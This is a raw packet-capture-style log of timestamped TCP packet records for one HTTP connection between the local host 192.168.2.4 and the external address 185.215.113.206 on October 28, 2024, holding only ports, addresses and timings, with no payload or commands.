Oct 28, 2024 06:27:28.865530014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865541935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865551949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865580082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865582943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865617037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865657091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865670919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865685940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865695000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865700006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865714073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865716934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865729094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865739107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865750074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865753889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865767002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865780115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865782022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865802050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865808010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865818024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865842104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865859032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865869999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865884066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865906954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865909100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865921021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865928888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865942955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865952015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865963936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865966082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865981102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.865992069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.865993977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866012096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866030931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866208076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866247892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866252899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866267920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866287947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866293907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866309881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866312027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866327047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866329908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866341114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866348028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866357088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866367102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866383076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866395950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866403103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866410017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866425991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866435051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866440058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866452932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866456032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866471052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866471052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866486073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866489887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866499901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866518974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866523027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866538048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866539955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866553068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866566896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866570950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866585970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866586924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866601944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866606951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866616964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866631031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866638899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866653919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866661072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866667986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866683960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866689920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866710901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866729021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866738081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866744041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866756916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866771936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866780043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866789103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866795063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866801977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866805077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866810083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866822958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866837978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866844893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866879940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866880894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866894960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866909027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866919994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866924047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866939068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.866954088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.866983891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985572100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985588074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985630989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985640049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985655069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985666037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985673904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985682011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985691071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985738039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985749960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985765934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985783100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985881090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985894918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985908985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985930920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985940933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985940933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985940933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985948086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985960960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985970974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985977888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.985980034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.985992908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986006021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986006975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986037016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986057043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986063004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986095905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986099958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986115932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986139059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986156940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986207962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986222029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986236095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986249924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986252069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986268044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986269951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986283064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986294031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986298084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986325979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986341000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986351013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986392975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986437082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986453056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986466885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986480951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986483097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986495972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986502886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986520052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986531973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986535072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986550093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986565113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986565113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986588955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986593008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986605883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986617088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986629963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986643076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986644983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986660004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986670017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986675024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986697912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986697912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986711025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986715078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986730099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986740112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986745119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986768007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986768961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986783981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986793995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986799002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986814022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986820936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986835957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986841917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986859083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986865997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986874104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986890078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986895084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986917019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986917973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986934900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986942053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986955881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986969948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986974001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986984015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.986996889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.986999989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987023115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987026930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987037897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987051964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987052917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987080097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987102985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987128973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987143993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987157106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987171888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987179995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987201929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987226963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987241030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987256050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987268925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987291098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987318993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987330914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987344980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987368107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987375021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987390041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987396002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987404108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987411976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987420082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987431049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987435102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987448931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987451077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987462997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987483025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987498999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987617970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987638950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987660885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987663031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987673998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987674952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987689018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987704992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987710953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987729073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987735987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987742901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987755060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987763882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987771034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987781048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987786055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987799883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987813950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987823009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987828016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987838030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987853050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987860918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987868071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987869978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987879992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987895012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987898111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987910032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987924099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987926006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987940073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987951040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987955093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.987968922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.987994909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988059998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988075018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988090038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988102913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988105059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988120079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988132000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988135099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988149881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988162041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988164902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988181114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988181114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988208055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988214016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988228083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988233089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988250971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988257885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988265038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988276958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988281012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.988308907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.988322020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106662035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106678963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106693983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106708050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106797934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106822014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106836081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106852055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106868982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106884003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106895924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106920004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106942892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106955051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106970072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106986046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.106991053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107001066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107016087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107023001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107023001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107023001 CET	49758	80	192.168.2.4	185.215.113.206
